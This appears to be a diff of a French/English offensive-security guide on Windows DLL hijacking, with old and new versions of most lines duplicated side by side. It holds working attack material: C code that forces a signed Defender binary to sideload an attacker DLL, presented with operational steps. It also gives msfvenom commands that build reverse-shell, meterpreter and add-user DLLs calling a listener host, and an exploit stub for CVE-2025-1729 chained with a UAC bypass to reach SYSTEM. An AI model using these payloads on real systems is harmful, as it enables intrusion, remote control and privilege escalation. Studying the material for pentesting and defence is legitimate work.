|
||||
Si vous recherchez des **DLL manquantes en général**, laissez ceci tourner pendant quelques **secondes**.\
|
||||
Si vous recherchez une **DLL manquante dans un exécutable spécifique**, vous devriez ajouter **un autre filtre comme "Process Name" "contains" "\<exec name>"**, exécuter l'exécutable, puis arrêter la capture des événements.
|
||||
|
||||
## Exploiting Missing Dlls
|
||||
|
||||
Pour escalader les privilèges, la meilleure chance que nous avons est de pouvoir **écrire un dll qu'un processus privilégié essaiera de charger** dans un des **endroits où il sera recherché**. Par conséquent, nous pourrons **écrire** un dll dans un **dossier** où le **dll est recherché avant** le dossier où le **dll original** se trouve (cas étrange), ou nous pourrons **écrire dans un dossier où le dll va être recherché** et le **dll original n'existe pas** dans aucun dossier.
|
||||
Pour escalader les privilèges, la meilleure chance est de pouvoir **écrire une DLL qu'un processus privilégié tentera de charger** dans un des **emplacements où elle va être recherchée**. Par conséquent, nous pourrons **écrire** une DLL dans un **dossier** où la **DLL est recherchée avant** celui contenant la **DLL originale** (cas étrange), ou nous pourrons **écrire dans un dossier où la DLL va être recherchée** alors que la DLL originale n'existe pas dans aucun dossier.
|
||||
|
||||
### Dll Search Order
|
||||
|
||||
**À l'intérieur de la** [**documentation Microsoft**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **vous pouvez trouver comment les DLL sont chargées spécifiquement.**
|
||||
**Inside the** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **you can find how the Dlls are loaded specifically.**
|
||||
|
||||
**Les applications Windows** recherchent des DLL en suivant un ensemble de **chemins de recherche prédéfinis**, respectant une séquence particulière. Le problème du DLL hijacking survient lorsqu'un DLL nuisible est stratégiquement placé dans l'un de ces répertoires, garantissant qu'il soit chargé avant le DLL authentique. Une solution pour prévenir cela est de s'assurer que l'application utilise des chemins absolus lorsqu'elle fait référence aux DLL dont elle a besoin.
|
||||
Les applications Windows recherchent les DLL en suivant un ensemble de **chemins de recherche prédéfinis**, dans un ordre particulier. Le problème de DLL hijacking survient lorsqu'une DLL malveillante est placée stratégiquement dans l'un de ces répertoires, de sorte qu'elle est chargée avant la DLL authentique. Une solution pour empêcher cela est de s'assurer que l'application utilise des chemins absolus lorsqu'elle référence les DLL dont elle a besoin.
|
||||
|
||||
Vous pouvez voir l'**ordre de recherche des DLL sur les systèmes 32 bits** ci-dessous :
|
||||
Vous pouvez voir l'**ordre de recherche des DLL sur les systèmes 32-bit** ci-dessous :
|
||||
|
||||
1. Le répertoire à partir duquel l'application a été chargée.
|
||||
2. Le répertoire système. Utilisez la fonction [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) pour obtenir le chemin de ce répertoire. (_C:\Windows\System32_)
|
||||
3. Le répertoire système 16 bits. Il n'existe pas de fonction qui obtienne le chemin de ce répertoire, mais il est recherché. (_C:\Windows\System_)
|
||||
4. Le répertoire Windows. Utilisez la fonction [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) pour obtenir le chemin de ce répertoire. (_C:\Windows_)
|
||||
5. Le répertoire courant.
|
||||
6. Les répertoires qui sont listés dans la variable d'environnement PATH. Notez que cela n'inclut pas le chemin par application spécifié par la clé de registre **App Paths**. La clé **App Paths** n'est pas utilisée lors du calcul du chemin de recherche des DLL.
|
||||
1. The directory from which the application loaded.
|
||||
2. The system directory. Use the [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) function to get the path of this directory.(_C:\Windows\System32_)
|
||||
3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched. (_C:\Windows\System_)
|
||||
4. The Windows directory. Use the [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) function to get the path of this directory.
|
||||
1. (_C:\Windows_)
|
||||
5. The current directory.
|
||||
6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the **App Paths** registry key. The **App Paths** key is not used when computing the DLL search path.
|
||||
|
||||
C'est l'**ordre de recherche par défaut** avec **SafeDllSearchMode** activé. Lorsqu'il est désactivé, le répertoire courant passe au deuxième rang. Pour désactiver cette fonctionnalité, créez la valeur de registre **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** et définissez-la sur 0 (par défaut, elle est activée).
|
||||
Ceci est l'ordre de recherche **par défaut** avec **SafeDllSearchMode** activé. Lorsqu'il est désactivé, le répertoire courant passe en deuxième position. Pour désactiver cette fonctionnalité, créez la valeur de registre **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** et définissez-la à 0 (par défaut activé).
|
||||
|
||||
Si la fonction [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) est appelée avec **LOAD_WITH_ALTERED_SEARCH_PATH**, la recherche commence dans le répertoire du module exécutable que **LoadLibraryEx** charge.
|
||||
|
||||
Enfin, notez qu'**un dll pourrait être chargé en indiquant le chemin absolu au lieu du nom**. Dans ce cas, ce dll est **uniquement recherché dans ce chemin** (si le dll a des dépendances, elles seront recherchées comme si elles étaient chargées par nom).
|
||||
Enfin, notez qu'**une dll peut être chargée en indiquant le chemin absolu plutôt que juste le nom**. Dans ce cas, cette dll **ne sera recherchée que dans ce chemin** (si la dll a des dépendances, elles seront recherchées comme si la dll venait d'être chargée par nom).
|
||||
|
||||
Il existe d'autres moyens d'altérer l'ordre de recherche mais je ne vais pas les expliquer ici.
|
||||
|
||||
### Forcing sideloading via RTL_USER_PROCESS_PARAMETERS.DllPath
|
||||
|
||||
Une manière avancée d'influencer de façon déterministe le chemin de recherche des DLL d'un processus nouvellement créé est de définir le champ DllPath dans RTL_USER_PROCESS_PARAMETERS lors de la création du processus avec les API natives de ntdll. En fournissant ici un répertoire contrôlé par l'attaquant, un processus cible qui résout une DLL importée par nom (pas de chemin absolu et sans les flags de chargement sûr) peut être forcé à charger une DLL malveillante depuis ce répertoire.
|
||||
|
||||
Idée clé
|
||||
- Construire les paramètres du processus avec RtlCreateProcessParametersEx et fournir un DllPath personnalisé qui pointe vers votre dossier contrôlé (par ex., le répertoire où se trouve votre dropper/unpacker).
|
||||
- Créer le processus avec RtlCreateUserProcess. Quand le binaire cible résout une DLL par nom, le loader consultera ce DllPath fourni lors de la résolution, permettant un sideloading fiable même lorsque la DLL malveillante n'est pas colocalisée avec l'EXE cible.
|
||||
|
||||
Remarques/limitations
|
||||
- Cela affecte le processus enfant créé ; c'est différent de SetDllDirectory, qui n'affecte que le processus courant.
|
||||
- La cible doit importer ou appeler LoadLibrary sur une DLL par nom (pas de chemin absolu et sans utiliser LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories).
|
||||
- KnownDLLs et les chemins absolus codés en dur ne peuvent pas être détournés. Les exports forwarded et SxS peuvent modifier la précédence.
|
||||
|
||||
Exemple C minimal (ntdll, chaînes larges, gestion d'erreurs simplifiée):
|
||||
```c
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
// Prototype (not in winternl.h in older SDKs)
|
||||
typedef NTSTATUS (NTAPI *RtlCreateProcessParametersEx_t)(
|
||||
PRTL_USER_PROCESS_PARAMETERS *pProcessParameters,
|
||||
PUNICODE_STRING ImagePathName,
|
||||
PUNICODE_STRING DllPath,
|
||||
PUNICODE_STRING CurrentDirectory,
|
||||
PUNICODE_STRING CommandLine,
|
||||
PVOID Environment,
|
||||
PUNICODE_STRING WindowTitle,
|
||||
PUNICODE_STRING DesktopInfo,
|
||||
PUNICODE_STRING ShellInfo,
|
||||
PUNICODE_STRING RuntimeData,
|
||||
ULONG Flags
|
||||
);
|
||||
|
||||
typedef NTSTATUS (NTAPI *RtlCreateUserProcess_t)(
|
||||
PUNICODE_STRING NtImagePathName,
|
||||
ULONG Attributes,
|
||||
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
|
||||
PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
|
||||
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
|
||||
HANDLE ParentProcess,
|
||||
BOOLEAN InheritHandles,
|
||||
HANDLE DebugPort,
|
||||
HANDLE ExceptionPort,
|
||||
PRTL_USER_PROCESS_INFORMATION ProcessInformation
|
||||
);
|
||||
|
||||
static void DirFromModule(HMODULE h, wchar_t *out, DWORD cch) {
|
||||
DWORD n = GetModuleFileNameW(h, out, cch);
|
||||
for (DWORD i=n; i>0; --i) if (out[i-1] == L'\\') { out[i-1] = 0; break; }
|
||||
}
|
||||
|
||||
int wmain(void) {
|
||||
// Target Microsoft-signed, DLL-hijackable binary (example)
|
||||
const wchar_t *image = L"\\??\\C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe";
|
||||
|
||||
// Build custom DllPath = directory of our current module (e.g., the unpacked archive)
|
||||
wchar_t dllDir[MAX_PATH];
|
||||
DirFromModule(GetModuleHandleW(NULL), dllDir, MAX_PATH);
|
||||
|
||||
UNICODE_STRING uImage, uCmd, uDllPath, uCurDir;
|
||||
RtlInitUnicodeString(&uImage, image);
|
||||
RtlInitUnicodeString(&uCmd, L"\"C:\\Program Files\\Windows Defender Advanced Threat Protection\\SenseSampleUploader.exe\"");
|
||||
RtlInitUnicodeString(&uDllPath, dllDir); // Attacker-controlled directory
|
||||
RtlInitUnicodeString(&uCurDir, dllDir);
|
||||
|
||||
RtlCreateProcessParametersEx_t pRtlCreateProcessParametersEx =
|
||||
(RtlCreateProcessParametersEx_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateProcessParametersEx");
|
||||
RtlCreateUserProcess_t pRtlCreateUserProcess =
|
||||
(RtlCreateUserProcess_t)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "RtlCreateUserProcess");
|
||||
|
||||
RTL_USER_PROCESS_PARAMETERS *pp = NULL;
|
||||
NTSTATUS st = pRtlCreateProcessParametersEx(&pp, &uImage, &uDllPath, &uCurDir, &uCmd,
|
||||
NULL, NULL, NULL, NULL, NULL, 0);
|
||||
if (st < 0) return 1;
|
||||
|
||||
RTL_USER_PROCESS_INFORMATION pi = {0};
|
||||
st = pRtlCreateUserProcess(&uImage, 0, pp, NULL, NULL, NULL, FALSE, NULL, NULL, &pi);
|
||||
if (st < 0) return 1;
|
||||
|
||||
// Resume main thread etc. if created suspended (not shown here)
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Operational usage example
|
||||
- Place a malicious xmllite.dll (exporting the required functions or proxying to the real one) in your DllPath directory.
|
||||
- Launch a signed binary known to look up xmllite.dll by name using the above technique. The loader resolves the import via the supplied DllPath and sideloads your DLL.
|
||||
|
||||
This technique has been observed in-the-wild to drive multi-stage sideloading chains: an initial launcher drops a helper DLL, which then spawns a Microsoft-signed, hijackable binary with a custom DllPath to force loading of the attacker’s DLL from a staging directory.
|
||||
|
||||
Il existe d'autres moyens de modifier l'ordre de recherche, mais je ne vais pas les expliquer ici.
|
||||
|
||||
#### Exceptions on dll search order from Windows docs
|
||||
|
||||
Certaines exceptions à l'ordre de recherche standard des DLL sont notées dans la documentation Windows :
|
||||
Certain exceptions to the standard DLL search order are noted in Windows documentation:
|
||||
|
||||
- Lorsqu'un **DLL qui partage son nom avec un déjà chargé en mémoire** est rencontré, le système contourne la recherche habituelle. Au lieu de cela, il effectue une vérification de redirection et un manifeste avant de se rabattre sur le DLL déjà en mémoire. **Dans ce scénario, le système ne procède pas à une recherche pour le DLL**.
|
||||
- Dans les cas où le DLL est reconnu comme un **DLL connu** pour la version actuelle de Windows, le système utilisera sa version du DLL connu, ainsi que toutes ses DLL dépendantes, **en omettant le processus de recherche**. La clé de registre **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contient une liste de ces DLL connus.
|
||||
- Si un **DLL a des dépendances**, la recherche de ces DLL dépendantes est effectuée comme si elles étaient indiquées uniquement par leurs **noms de module**, peu importe si le DLL initial a été identifié par un chemin complet.
|
||||
- Lorsqu'une **DLL qui partage son nom avec une DLL déjà chargée en mémoire** est rencontrée, le système contourne la recherche habituelle. À la place, il effectue une vérification de redirection et un manifeste avant de revenir à la DLL déjà en mémoire. **Dans ce scénario, le système n'effectue pas de recherche pour la DLL**.
|
||||
- Dans les cas où la DLL est reconnue comme une **known DLL** pour la version actuelle de Windows, le système utilisera sa version de la known DLL, ainsi que toutes ses DLL dépendantes, **en évitant le processus de recherche**. La clé de registre **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** contient la liste de ces known DLLs.
|
||||
- Si une **DLL a des dépendances**, la recherche de ces DLL dépendantes est effectuée comme si elles étaient indiquées uniquement par leurs **module names**, indépendamment du fait que la DLL initiale ait été identifiée via un chemin complet.
|
||||
|
||||
### Escalating Privileges
|
||||
|
||||
**Requirements**:
|
||||
|
||||
- Identifier un processus qui fonctionne ou fonctionnera sous **différents privilèges** (mouvement horizontal ou latéral), qui **manque d'un DLL**.
|
||||
- Assurez-vous qu'un **accès en écriture** est disponible pour tout **répertoire** dans lequel le **DLL** sera **recherché**. Cet emplacement pourrait être le répertoire de l'exécutable ou un répertoire dans le chemin système.
|
||||
- Identifier un processus qui fonctionne ou fonctionnera avec des **privilèges différents** (horizontal or lateral movement), et qui **ne possède pas de DLL**.
|
||||
- S'assurer qu'un **accès en écriture** est disponible pour tout **répertoire** dans lequel la **DLL** sera **recherchée**. Cet emplacement peut être le répertoire de l'exécutable ou un répertoire présent dans le chemin système.
|
||||
|
||||
Oui, les exigences sont compliquées à trouver car **par défaut, il est un peu étrange de trouver un exécutable privilégié manquant d'un dll** et c'est encore **plus étrange d'avoir des permissions d'écriture sur un dossier de chemin système** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés, cela est possible.\
|
||||
Dans le cas où vous avez de la chance et que vous remplissez les exigences, vous pourriez vérifier le projet [UACME](https://github.com/hfiref0x/UACME). Même si le **but principal du projet est de contourner UAC**, vous pourriez y trouver un **PoC** d'un Dll hijacking pour la version de Windows que vous pouvez utiliser (probablement juste en changeant le chemin du dossier où vous avez des permissions d'écriture).
|
||||
Oui, les prérequis sont compliqués à trouver car **par défaut c'est un peu étrange de trouver un exécutable privilégié sans dll** et il est encore **plus étrange d'avoir des permissions d'écriture sur un dossier du chemin système** (vous ne pouvez pas par défaut). Mais, dans des environnements mal configurés cela est possible.\
|
||||
Dans le cas où vous avez la chance de répondre aux conditions, vous pouvez consulter le projet [UACME](https://github.com/hfiref0x/UACME). Même si le **but principal du projet est bypass UAC**, vous y trouverez peut‑être un **PoC** d'un Dll hijaking pour la version de Windows que vous pouvez utiliser (probablement en changeant simplement le chemin du dossier où vous avez des permissions d'écriture).
|
||||
|
||||
Notez que vous pouvez **vérifier vos permissions dans un dossier** en faisant :
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
Et **vérifiez les permissions de tous les dossiers à l'intérieur de PATH** :
|
||||
Et **vérifiez les permissions de tous les dossiers contenus dans PATH** :
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
Vous pouvez également vérifier les imports d'un exécutable et les exports d'une dll avec :
|
||||
Vous pouvez aussi vérifier les imports d'un exécutable et les exports d'une dll avec :
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
Pour un guide complet sur la façon d'**abuser du Dll Hijacking pour élever les privilèges** avec des permissions d'écriture dans un **dossier de chemin système**, consultez :
|
||||
Pour un guide complet sur comment **abuse Dll Hijacking to escalate privileges** avec permissions pour écrire dans un **System Path folder** consultez :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
writable-sys-path-+dll-hijacking-privesc.md
|
||||
@ -100,39 +193,39 @@ writable-sys-path-+dll-hijacking-privesc.md
|
||||
|
||||
### Outils automatisés
|
||||
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) vérifiera si vous avez des permissions d'écriture sur n'importe quel dossier à l'intérieur du chemin système.\
|
||||
D'autres outils automatisés intéressants pour découvrir cette vulnérabilité sont les **fonctions PowerSploit** : _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ et _Write-HijackDll._
|
||||
[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) vérifiera si vous avez des permissions d'écriture sur n'importe quel dossier à l'intérieur du system PATH.\
|
||||
D'autres outils automatisés intéressants pour découvrir cette vulnérabilité sont **PowerSploit functions** : _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ et _Write-HijackDll_.
|
||||
|
||||
### Exemple
|
||||
|
||||
Dans le cas où vous trouvez un scénario exploitable, l'une des choses les plus importantes pour l'exploiter avec succès serait de **créer un dll qui exporte au moins toutes les fonctions que l'exécutable importera de celui-ci**. Quoi qu'il en soit, notez que le Dll Hijacking est utile pour [élever du niveau d'intégrité moyen au niveau élevé **(en contournant UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ou de [**l'intégrité élevée au SYSTEM**](../index.html#from-high-integrity-to-system)**.** Vous pouvez trouver un exemple de **comment créer un dll valide** dans cette étude de dll hijacking axée sur le dll hijacking pour l'exécution : [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
De plus, dans la **section suivante**, vous pouvez trouver quelques **codes dll de base** qui pourraient être utiles comme **modèles** ou pour créer un **dll avec des fonctions non requises exportées**.
|
||||
Si vous trouvez un scénario exploitable, l'une des choses les plus importantes pour l'exploiter avec succès sera de **créer une dll qui exporte au minimum toutes les fonctions que l'exécutable importera depuis celle-ci**. Quoi qu'il en soit, notez que Dll Hijacking est utile pour [escalate from Medium Integrity level to High **(bypassing UAC)**](../../authentication-credentials-uac-and-efs/index.html#uac) ou de[ **High Integrity to SYSTEM**](../index.html#from-high-integrity-to-system)**.** Vous pouvez trouver un exemple de **comment créer une dll valide** dans cette étude sur dll hijacking axée sur dll hijacking pour l'exécution : [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
De plus, dans la **section suivante** vous pouvez trouver quelques **codes dll basiques** qui pourraient être utiles comme **modèles** ou pour créer une **dll exportant des fonctions non requises**.
|
||||
|
||||
## **Création et compilation de Dlls**
|
||||
## **Créer et compiler des Dlls**
|
||||
|
||||
### **Proxy Dll**
|
||||
### **Dll Proxifying**
|
||||
|
||||
Fondamentalement, un **proxy Dll** est un Dll capable d'**exécuter votre code malveillant lorsqu'il est chargé** mais aussi d'**exposer** et de **fonctionner** comme **prévu** en **relayant tous les appels à la véritable bibliothèque**.
|
||||
Fondamentalement, un **Dll proxy** est une Dll capable de **exécuter votre code malveillant lorsqu'elle est chargée** mais aussi d'**exposer** et de **fonctionner** comme **attendu** en **retransmettant tous les appels vers la bibliothèque réelle**.
|
||||
|
||||
Avec l'outil [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ou [**Spartacus**](https://github.com/Accenture/Spartacus), vous pouvez en fait **indiquer un exécutable et sélectionner la bibliothèque** que vous souhaitez proxifier et **générer un dll proxifié** ou **indiquer le Dll** et **générer un dll proxifié**.
|
||||
Avec l'outil [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) ou [**Spartacus**](https://github.com/Accenture/Spartacus) vous pouvez en fait **indiquer un exécutable et sélectionner la bibliothèque** que vous voulez proxify et **générer un proxified dll** ou **indiquer la Dll** et **générer un proxified dll**.
|
||||
|
||||
### **Meterpreter**
|
||||
|
||||
**Obtenir un shell rev (x64) :**
|
||||
**Get rev shell (x64):**
|
||||
```bash
|
||||
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Obtenez un meterpreter (x86) :**
|
||||
**Obtenir un meterpreter (x86):**
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
|
||||
```
|
||||
**Créer un utilisateur (x86 je n'ai pas vu de version x64) :**
|
||||
**Créer un utilisateur (x86, je n'ai pas vu de version x64):**
|
||||
```
|
||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
||||
```
|
||||
### Votre propre
|
||||
### Le vôtre
|
||||
|
||||
Notez que dans plusieurs cas, le Dll que vous compilez doit **exporter plusieurs fonctions** qui vont être chargées par le processus victime, si ces fonctions n'existent pas, le **binaire ne pourra pas les charger** et l'**exploit échouera**.
|
||||
Notez que dans plusieurs cas la Dll que vous compilez doit **exporter plusieurs fonctions** qui seront chargées par le processus victime ; si ces fonctions n'existent pas, le **binaire ne pourra pas les charger** et l'**exploit échouera**.
|
||||
```c
|
||||
// Tested in Win10
|
||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
||||
@ -213,20 +306,20 @@ break;
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
## Étude de cas : CVE-2025-1729 - Escalade de privilèges utilisant TPQMAssistant.exe
|
||||
## Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
|
||||
|
||||
Cette étude démontre le **Phantom DLL Hijacking** dans le TrackPoint Quick Menu de Lenovo (`TPQMAssistant.exe`), suivi comme **CVE-2025-1729**.
|
||||
This case demonstrates **Phantom DLL Hijacking** in Lenovo's TrackPoint Quick Menu (`TPQMAssistant.exe`), tracked as **CVE-2025-1729**.
|
||||
|
||||
### Détails de la vulnérabilité
|
||||
### Vulnerability Details
|
||||
|
||||
- **Composant** : `TPQMAssistant.exe` situé à `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
- **Tâche planifiée** : `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` s'exécute quotidiennement à 9h30 sous le contexte de l'utilisateur connecté.
|
||||
- **Permissions de répertoire** : Écrivable par `CREATOR OWNER`, permettant aux utilisateurs locaux de déposer des fichiers arbitraires.
|
||||
- **Comportement de recherche de DLL** : Tente de charger `hostfxr.dll` depuis son répertoire de travail en premier et enregistre "NAME NOT FOUND" si manquant, indiquant une priorité de recherche dans le répertoire local.
|
||||
- **Component**: `TPQMAssistant.exe` located at `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
- **Scheduled Task**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` runs daily at 9:30 AM under the context of the logged-on user.
|
||||
- **Directory Permissions**: Writable by `CREATOR OWNER`, allowing local users to drop arbitrary files.
|
||||
- **DLL Search Behavior**: Attempts to load `hostfxr.dll` from its working directory first and logs "NAME NOT FOUND" if missing, indicating local directory search precedence.
|
||||
|
||||
### Mise en œuvre de l'exploit
|
||||
### Exploit Implementation
|
||||
|
||||
Un attaquant peut placer un stub malveillant `hostfxr.dll` dans le même répertoire, exploitant la DLL manquante pour obtenir une exécution de code sous le contexte de l'utilisateur :
|
||||
An attacker can place a malicious `hostfxr.dll` stub in the same directory, exploiting the missing DLL to achieve code execution under the user's context:
|
||||
```c
|
||||
#include <windows.h>
|
||||
|
||||
@ -240,10 +333,10 @@ return TRUE;
|
||||
```
|
||||
### Flux d'attaque
|
||||
|
||||
1. En tant qu'utilisateur standard, déposez `hostfxr.dll` dans `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
2. Attendez que la tâche planifiée s'exécute à 9h30 sous le contexte de l'utilisateur actuel.
|
||||
3. Si un administrateur est connecté lorsque la tâche s'exécute, le DLL malveillant s'exécute dans la session de l'administrateur avec une intégrité moyenne.
|
||||
4. Enchaînez les techniques de contournement UAC standard pour élever les privilèges de l'intégrité moyenne à SYSTEM.
|
||||
1. En tant qu'utilisateur standard, déposer `hostfxr.dll` dans `C:\ProgramData\Lenovo\TPQM\Assistant\`.
|
||||
2. Attendre que la tâche planifiée s'exécute à 9h30 dans le contexte de l'utilisateur courant.
|
||||
3. Si un administrateur est connecté lorsque la tâche s'exécute, la DLL malveillante s'exécute dans la session de l'administrateur avec une intégrité moyenne.
|
||||
4. Enchaîner des techniques standard de contournement de l'UAC pour passer de l'intégrité moyenne aux privilèges SYSTEM.
|
||||
|
||||
### Atténuation
|
||||
|
||||
@ -251,10 +344,15 @@ Lenovo a publié la version UWP **1.12.54.0** via le Microsoft Store, qui instal
|
||||
|
||||
## Références
|
||||
|
||||
- [CVE-2025-1729 - Élévation de privilèges utilisant TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
|
||||
- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
|
||||
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
|
||||
|
||||
|
||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
||||
|
||||
|
||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user